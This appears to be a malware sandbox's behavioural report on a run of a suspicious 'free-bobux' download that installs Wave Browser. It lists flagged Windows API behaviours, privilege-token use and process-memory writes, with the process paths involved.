File opened for modification C:\Users\Admin\Downloads\free-bobux-main.zip:Zone.Identifier C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A

Suspicious behavior: AddClipboardFormatListener

Description Indicator Process Target
N/A N/A C:\Program Files\Microsoft Office\root\Office16\Winword.exe N/A
N/A N/A C:\Program Files\Microsoft Office\root\Office16\Winword.exe N/A

Suspicious behavior: EnumeratesProcesses

Description Indicator Process Target
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\90.0.818.66\identity_helper.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\90.0.818.66\identity_helper.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Wavesor\Temp\GUM1D71.tmp\SWUpdater.exe N/A
N/A N/A C:\Program Files (x86)\Wavesor\Temp\GUM1D71.tmp\SWUpdater.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\nsg5F5D.tmp\setup.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\nsg5F5D.tmp\setup.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\nsg5F5D.tmp\setup.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\nsg5F5D.tmp\setup.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\nsg5F5D.tmp\setup.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\nsg5F5D.tmp\setup.exe N/A
N/A N/A C:\Program Files (x86)\Wavesor\Temp\GUM1D71.tmp\SWUpdater.exe N/A
N/A N/A C:\Program Files (x86)\Wavesor\Temp\GUM1D71.tmp\SWUpdater.exe N/A
N/A N/A C:\Program Files (x86)\Wavesor\Temp\GUM1D71.tmp\SWUpdater.exe N/A
N/A N/A C:\Program Files (x86)\Wavesor\Temp\GUM1D71.tmp\SWUpdater.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Users\Admin\Wavesor Software\WaveBrowser\wavebrowser.exe N/A
N/A N/A C:\Users\Admin\Wavesor Software\WaveBrowser\wavebrowser.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Users\Admin\Wavesor Software\SWUpdater\SWUpdater.exe N/A
N/A N/A C:\Users\Admin\Wavesor Software\SWUpdater\SWUpdater.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A

Suspicious behavior: GetForegroundWindowSpam

Description Indicator Process Target
N/A N/A C:\Windows\system32\OpenWith.exe N/A

Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary

Description Indicator Process Target
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Users\Admin\Wavesor Software\WaveBrowser\wavebrowser.exe N/A
N/A N/A C:\Users\Admin\Wavesor Software\WaveBrowser\wavebrowser.exe N/A
N/A N/A C:\Users\Admin\Wavesor Software\WaveBrowser\wavebrowser.exe N/A
N/A N/A C:\Users\Admin\Wavesor Software\WaveBrowser\wavebrowser.exe N/A
N/A N/A C:\Users\Admin\Wavesor Software\WaveBrowser\wavebrowser.exe N/A
N/A N/A C:\Users\Admin\Wavesor Software\WaveBrowser\wavebrowser.exe N/A
N/A N/A C:\Users\Admin\Wavesor Software\WaveBrowser\wavebrowser.exe N/A
N/A N/A C:\Users\Admin\Wavesor Software\WaveBrowser\wavebrowser.exe N/A
N/A N/A C:\Users\Admin\Wavesor Software\WaveBrowser\wavebrowser.exe N/A
N/A N/A C:\Users\Admin\Wavesor Software\WaveBrowser\wavebrowser.exe N/A
N/A N/A C:\Users\Admin\Wavesor Software\WaveBrowser\wavebrowser.exe N/A
N/A N/A C:\Users\Admin\Wavesor Software\WaveBrowser\wavebrowser.exe N/A
N/A N/A C:\Users\Admin\Wavesor Software\WaveBrowser\wavebrowser.exe N/A
N/A N/A C:\Users\Admin\Wavesor Software\WaveBrowser\wavebrowser.exe N/A
N/A N/A C:\Users\Admin\Wavesor Software\WaveBrowser\wavebrowser.exe N/A
N/A N/A C:\Users\Admin\Wavesor Software\WaveBrowser\wavebrowser.exe N/A
N/A N/A C:\Users\Admin\Wavesor Software\WaveBrowser\wavebrowser.exe N/A
N/A N/A C:\Users\Admin\Wavesor Software\WaveBrowser\wavebrowser.exe N/A
N/A N/A C:\Users\Admin\Wavesor Software\WaveBrowser\wavebrowser.exe N/A
N/A N/A C:\Users\Admin\Wavesor Software\WaveBrowser\wavebrowser.exe N/A
N/A N/A C:\Users\Admin\Wavesor Software\WaveBrowser\wavebrowser.exe N/A
N/A N/A C:\Users\Admin\Wavesor Software\WaveBrowser\wavebrowser.exe N/A
N/A N/A C:\Users\Admin\Wavesor Software\WaveBrowser\wavebrowser.exe N/A
N/A N/A C:\Users\Admin\Wavesor Software\WaveBrowser\wavebrowser.exe N/A
N/A N/A C:\Users\Admin\Wavesor Software\WaveBrowser\wavebrowser.exe N/A
N/A N/A C:\Users\Admin\Wavesor Software\WaveBrowser\wavebrowser.exe N/A
N/A N/A C:\Users\Admin\Wavesor Software\WaveBrowser\wavebrowser.exe N/A
N/A N/A C:\Users\Admin\Wavesor Software\WaveBrowser\wavebrowser.exe N/A
N/A N/A C:\Users\Admin\Wavesor Software\WaveBrowser\wavebrowser.exe N/A

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: 33 N/A C:\Windows\system32\AUDIODG.EXE N/A
Token: SeIncBasePriorityPrivilege N/A C:\Windows\system32\AUDIODG.EXE N/A
Token: SeDebugPrivilege N/A C:\Users\Admin\Downloads\Wave Browser.exe N/A
Token: SeDebugPrivilege N/A C:\Program Files (x86)\Wavesor\Temp\GUM1D71.tmp\SWUpdater.exe N/A
Token: SeDebugPrivilege N/A C:\Program Files (x86)\Wavesor\Temp\GUM1D71.tmp\SWUpdater.exe N/A
Token: SeShutdownPrivilege N/A C:\Users\Admin\Wavesor Software\WaveBrowser\wavebrowser.exe N/A
Token: SeCreatePagefilePrivilege N/A C:\Users\Admin\Wavesor Software\WaveBrowser\wavebrowser.exe N/A
Token: SeShutdownPrivilege N/A C:\Users\Admin\Wavesor Software\WaveBrowser\wavebrowser.exe N/A
Token: SeCreatePagefilePrivilege N/A C:\Users\Admin\Wavesor Software\WaveBrowser\wavebrowser.exe N/A
Token: SeShutdownPrivilege N/A C:\Users\Admin\Wavesor Software\WaveBrowser\wavebrowser.exe N/A
Token: SeCreatePagefilePrivilege N/A C:\Users\Admin\Wavesor Software\WaveBrowser\wavebrowser.exe N/A
Token: SeShutdownPrivilege N/A C:\Users\Admin\Wavesor Software\WaveBrowser\wavebrowser.exe N/A
Token: SeCreatePagefilePrivilege N/A C:\Users\Admin\Wavesor Software\WaveBrowser\wavebrowser.exe N/A
Token: SeShutdownPrivilege N/A C:\Users\Admin\Wavesor Software\WaveBrowser\wavebrowser.exe N/A
Token: SeCreatePagefilePrivilege N/A C:\Users\Admin\Wavesor Software\WaveBrowser\wavebrowser.exe N/A
Token: SeShutdownPrivilege N/A C:\Users\Admin\Wavesor Software\WaveBrowser\wavebrowser.exe N/A
Token: SeCreatePagefilePrivilege N/A C:\Users\Admin\Wavesor Software\WaveBrowser\wavebrowser.exe N/A
Token: SeShutdownPrivilege N/A C:\Users\Admin\Wavesor Software\WaveBrowser\wavebrowser.exe N/A
Token: SeCreatePagefilePrivilege N/A C:\Users\Admin\Wavesor Software\WaveBrowser\wavebrowser.exe N/A
Token: SeShutdownPrivilege N/A C:\Users\Admin\Wavesor Software\WaveBrowser\wavebrowser.exe N/A
Token: SeCreatePagefilePrivilege N/A C:\Users\Admin\Wavesor Software\WaveBrowser\wavebrowser.exe N/A
Token: SeShutdownPrivilege N/A C:\Users\Admin\Wavesor Software\WaveBrowser\wavebrowser.exe N/A
Token: SeCreatePagefilePrivilege N/A C:\Users\Admin\Wavesor Software\WaveBrowser\wavebrowser.exe N/A
Token: SeShutdownPrivilege N/A C:\Users\Admin\Wavesor Software\WaveBrowser\wavebrowser.exe N/A
Token: SeCreatePagefilePrivilege N/A C:\Users\Admin\Wavesor Software\WaveBrowser\wavebrowser.exe N/A
Token: SeShutdownPrivilege N/A C:\Users\Admin\Wavesor Software\WaveBrowser\wavebrowser.exe N/A
Token: SeCreatePagefilePrivilege N/A C:\Users\Admin\Wavesor Software\WaveBrowser\wavebrowser.exe N/A
Token: SeShutdownPrivilege N/A C:\Users\Admin\Wavesor Software\WaveBrowser\wavebrowser.exe N/A
Token: SeCreatePagefilePrivilege N/A C:\Users\Admin\Wavesor Software\WaveBrowser\wavebrowser.exe N/A
Token: SeShutdownPrivilege N/A C:\Users\Admin\Wavesor Software\WaveBrowser\wavebrowser.exe N/A
Token: SeCreatePagefilePrivilege N/A C:\Users\Admin\Wavesor Software\WaveBrowser\wavebrowser.exe N/A
Token: SeShutdownPrivilege N/A C:\Users\Admin\Wavesor Software\WaveBrowser\wavebrowser.exe N/A
Token: SeCreatePagefilePrivilege N/A C:\Users\Admin\Wavesor Software\WaveBrowser\wavebrowser.exe N/A
Token: SeShutdownPrivilege N/A C:\Users\Admin\Wavesor Software\WaveBrowser\wavebrowser.exe N/A
Token: SeCreatePagefilePrivilege N/A C:\Users\Admin\Wavesor Software\WaveBrowser\wavebrowser.exe N/A
Token: SeShutdownPrivilege N/A C:\Users\Admin\Wavesor Software\WaveBrowser\wavebrowser.exe N/A
Token: SeCreatePagefilePrivilege N/A C:\Users\Admin\Wavesor Software\WaveBrowser\wavebrowser.exe N/A
Token: SeShutdownPrivilege N/A C:\Users\Admin\Wavesor Software\WaveBrowser\wavebrowser.exe N/A
Token: SeCreatePagefilePrivilege N/A C:\Users\Admin\Wavesor Software\WaveBrowser\wavebrowser.exe N/A
Token: SeShutdownPrivilege N/A C:\Users\Admin\Wavesor Software\WaveBrowser\wavebrowser.exe N/A
Token: SeCreatePagefilePrivilege N/A C:\Users\Admin\Wavesor Software\WaveBrowser\wavebrowser.exe N/A
Token: SeShutdownPrivilege N/A C:\Users\Admin\Wavesor Software\WaveBrowser\wavebrowser.exe N/A
Token: SeCreatePagefilePrivilege N/A C:\Users\Admin\Wavesor Software\WaveBrowser\wavebrowser.exe N/A
Token: SeShutdownPrivilege N/A C:\Users\Admin\Wavesor Software\WaveBrowser\wavebrowser.exe N/A
Token: SeCreatePagefilePrivilege N/A C:\Users\Admin\Wavesor Software\WaveBrowser\wavebrowser.exe N/A
Token: SeShutdownPrivilege N/A C:\Users\Admin\Wavesor Software\WaveBrowser\wavebrowser.exe N/A
Token: SeCreatePagefilePrivilege N/A C:\Users\Admin\Wavesor Software\WaveBrowser\wavebrowser.exe N/A
Token: SeShutdownPrivilege N/A C:\Users\Admin\Wavesor Software\WaveBrowser\wavebrowser.exe N/A
Token: SeCreatePagefilePrivilege N/A C:\Users\Admin\Wavesor Software\WaveBrowser\wavebrowser.exe N/A
Token: SeShutdownPrivilege N/A C:\Users\Admin\Wavesor Software\WaveBrowser\wavebrowser.exe N/A
Token: SeCreatePagefilePrivilege N/A C:\Users\Admin\Wavesor Software\WaveBrowser\wavebrowser.exe N/A
Token: SeShutdownPrivilege N/A C:\Users\Admin\Wavesor Software\WaveBrowser\wavebrowser.exe N/A
Token: SeCreatePagefilePrivilege N/A C:\Users\Admin\Wavesor Software\WaveBrowser\wavebrowser.exe N/A
Token: SeShutdownPrivilege N/A C:\Users\Admin\Wavesor Software\WaveBrowser\wavebrowser.exe N/A
Token: SeCreatePagefilePrivilege N/A C:\Users\Admin\Wavesor Software\WaveBrowser\wavebrowser.exe N/A
Token: SeShutdownPrivilege N/A C:\Users\Admin\Wavesor Software\WaveBrowser\wavebrowser.exe N/A
Token: SeCreatePagefilePrivilege N/A C:\Users\Admin\Wavesor Software\WaveBrowser\wavebrowser.exe N/A
Token: SeShutdownPrivilege N/A C:\Users\Admin\Wavesor Software\WaveBrowser\wavebrowser.exe N/A
Token: SeCreatePagefilePrivilege N/A C:\Users\Admin\Wavesor Software\WaveBrowser\wavebrowser.exe N/A
Token: SeShutdownPrivilege N/A C:\Users\Admin\Wavesor Software\WaveBrowser\wavebrowser.exe N/A
Token: SeCreatePagefilePrivilege N/A C:\Users\Admin\Wavesor Software\WaveBrowser\wavebrowser.exe N/A
Token: SeShutdownPrivilege N/A C:\Users\Admin\Wavesor Software\WaveBrowser\wavebrowser.exe N/A
Token: SeCreatePagefilePrivilege N/A C:\Users\Admin\Wavesor Software\WaveBrowser\wavebrowser.exe N/A
Token: SeShutdownPrivilege N/A C:\Users\Admin\Wavesor Software\WaveBrowser\wavebrowser.exe N/A

Suspicious use of FindShellTrayWindow

Description Indicator Process Target
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\nsg5F5D.tmp\setup.exe N/A
N/A N/A C:\Users\Admin\Wavesor Software\WaveBrowser\wavebrowser.exe N/A
N/A N/A C:\Users\Admin\Wavesor Software\WaveBrowser\wavebrowser.exe N/A
N/A N/A C:\Users\Admin\Wavesor Software\WaveBrowser\wavebrowser.exe N/A
N/A N/A C:\Users\Admin\Wavesor Software\WaveBrowser\wavebrowser.exe N/A
N/A N/A C:\Users\Admin\Wavesor Software\WaveBrowser\wavebrowser.exe N/A
N/A N/A C:\Users\Admin\Wavesor Software\WaveBrowser\wavebrowser.exe N/A
N/A N/A C:\Users\Admin\Wavesor Software\WaveBrowser\wavebrowser.exe N/A
N/A N/A C:\Users\Admin\Wavesor Software\WaveBrowser\wavebrowser.exe N/A
N/A N/A C:\Users\Admin\Wavesor Software\WaveBrowser\wavebrowser.exe N/A
N/A N/A C:\Users\Admin\Wavesor Software\WaveBrowser\wavebrowser.exe N/A
N/A N/A C:\Users\Admin\Wavesor Software\WaveBrowser\wavebrowser.exe N/A
N/A N/A C:\Users\Admin\Wavesor Software\WaveBrowser\wavebrowser.exe N/A
N/A N/A C:\Users\Admin\Wavesor Software\WaveBrowser\wavebrowser.exe N/A
N/A N/A C:\Users\Admin\Wavesor Software\WaveBrowser\wavebrowser.exe N/A
N/A N/A C:\Users\Admin\Wavesor Software\WaveBrowser\wavebrowser.exe N/A
N/A N/A C:\Users\Admin\Wavesor Software\WaveBrowser\wavebrowser.exe N/A
N/A N/A C:\Users\Admin\Wavesor Software\WaveBrowser\wavebrowser.exe N/A
N/A N/A C:\Users\Admin\Wavesor Software\WaveBrowser\wavebrowser.exe N/A
N/A N/A C:\Users\Admin\Wavesor Software\WaveBrowser\wavebrowser.exe N/A
N/A N/A C:\Users\Admin\Wavesor Software\WaveBrowser\wavebrowser.exe N/A
N/A N/A C:\Users\Admin\Wavesor Software\WaveBrowser\wavebrowser.exe N/A
N/A N/A C:\Users\Admin\Wavesor Software\WaveBrowser\wavebrowser.exe N/A
N/A N/A C:\Users\Admin\Wavesor Software\WaveBrowser\wavebrowser.exe N/A
N/A N/A C:\Users\Admin\Wavesor Software\WaveBrowser\wavebrowser.exe N/A
N/A N/A C:\Users\Admin\Wavesor Software\WaveBrowser\wavebrowser.exe N/A
N/A N/A C:\Users\Admin\Wavesor Software\WaveBrowser\wavebrowser.exe N/A
N/A N/A C:\Users\Admin\Wavesor Software\WaveBrowser\wavebrowser.exe N/A
N/A N/A C:\Users\Admin\Wavesor Software\WaveBrowser\wavebrowser.exe N/A

Suspicious use of SendNotifyMessage

Description Indicator Process Target
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Users\Admin\Wavesor Software\WaveBrowser\wavebrowser.exe N/A
N/A N/A C:\Users\Admin\Wavesor Software\WaveBrowser\wavebrowser.exe N/A
N/A N/A C:\Users\Admin\Wavesor Software\WaveBrowser\wavebrowser.exe N/A
N/A N/A C:\Users\Admin\Wavesor Software\WaveBrowser\wavebrowser.exe N/A
N/A N/A C:\Users\Admin\Wavesor Software\WaveBrowser\wavebrowser.exe N/A
N/A N/A C:\Users\Admin\Wavesor Software\WaveBrowser\wavebrowser.exe N/A
N/A N/A C:\Users\Admin\Wavesor Software\WaveBrowser\wavebrowser.exe N/A
N/A N/A C:\Users\Admin\Wavesor Software\WaveBrowser\wavebrowser.exe N/A
N/A N/A C:\Users\Admin\Wavesor Software\WaveBrowser\wavebrowser.exe N/A
N/A N/A C:\Users\Admin\Wavesor Software\WaveBrowser\wavebrowser.exe N/A
N/A N/A C:\Users\Admin\Wavesor Software\WaveBrowser\wavebrowser.exe N/A
N/A N/A C:\Users\Admin\Wavesor Software\WaveBrowser\wavebrowser.exe N/A
N/A N/A C:\Users\Admin\Wavesor Software\WaveBrowser\wavebrowser.exe N/A
N/A N/A C:\Users\Admin\Wavesor Software\WaveBrowser\wavebrowser.exe N/A
N/A N/A C:\Users\Admin\Wavesor Software\WaveBrowser\wavebrowser.exe N/A
N/A N/A C:\Users\Admin\Wavesor Software\WaveBrowser\wavebrowser.exe N/A

Suspicious use of SetWindowsHookEx

Description Indicator Process Target
N/A N/A C:\Users\Admin\AppData\Local\Temp\7zSCC31C31B\setup.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\7zSCC31C31B\setup.exe N/A
N/A N/A C:\Windows\system32\OpenWith.exe N/A
N/A N/A C:\Windows\system32\OpenWith.exe N/A
N/A N/A C:\Windows\system32\OpenWith.exe N/A
N/A N/A C:\Windows\system32\OpenWith.exe N/A
N/A N/A C:\Windows\system32\OpenWith.exe N/A
N/A N/A C:\Windows\system32\OpenWith.exe N/A
N/A N/A C:\Windows\system32\OpenWith.exe N/A
N/A N/A C:\Windows\system32\OpenWith.exe N/A
N/A N/A C:\Windows\system32\OpenWith.exe N/A
N/A N/A C:\Windows\system32\OpenWith.exe N/A
N/A N/A C:\Windows\system32\OpenWith.exe N/A
N/A N/A C:\Windows\system32\OpenWith.exe N/A
N/A N/A C:\Windows\system32\OpenWith.exe N/A
N/A N/A C:\Windows\system32\OpenWith.exe N/A
N/A N/A C:\Windows\system32\OpenWith.exe N/A
N/A N/A C:\Windows\system32\OpenWith.exe N/A
N/A N/A C:\Windows\system32\OpenWith.exe N/A
N/A N/A C:\Windows\system32\OpenWith.exe N/A
N/A N/A C:\Program Files\Microsoft Office\root\Office16\Winword.exe N/A
N/A N/A C:\Program Files\Microsoft Office\root\Office16\Winword.exe N/A
N/A N/A C:\Program Files\Microsoft Office\root\Office16\Winword.exe N/A
N/A N/A C:\Program Files\Microsoft Office\root\Office16\Winword.exe N/A
N/A N/A C:\Program Files\Microsoft Office\root\Office16\Winword.exe N/A
N/A N/A C:\Program Files\Microsoft Office\root\Office16\Winword.exe N/A
N/A N/A C:\Program Files\Microsoft Office\root\Office16\Winword.exe N/A
N/A N/A C:\Windows\system32\LogonUI.exe N/A

Suspicious use of WriteProcessMemory

Description Indicator Process Target
PID 2044 wrote to memory of 5212 N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
PID 2044 wrote to memory of 5212 N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
PID 2044 wrote to memory of 4176 N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
PID 2044 wrote to memory of 4176 N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
PID 2044 wrote to memory of 4176 N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
PID 2044 wrote to memory of 4176 N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
PID 2044 wrote to memory of 4176 N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
PID 2044 wrote to memory of 4176 N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
PID 2044 wrote to memory of 4176 N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
PID 2044 wrote to memory of 4176 N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
PID 2044 wrote to memory of 4176 N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
PID 2044 wrote to memory of 4176 N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
PID 2044 wrote to memory of 4176 N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
PID 2044 wrote to memory of 4176 N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
PID 2044 wrote to memory of 4176 N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
PID 2044 wrote to memory of 4176 N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
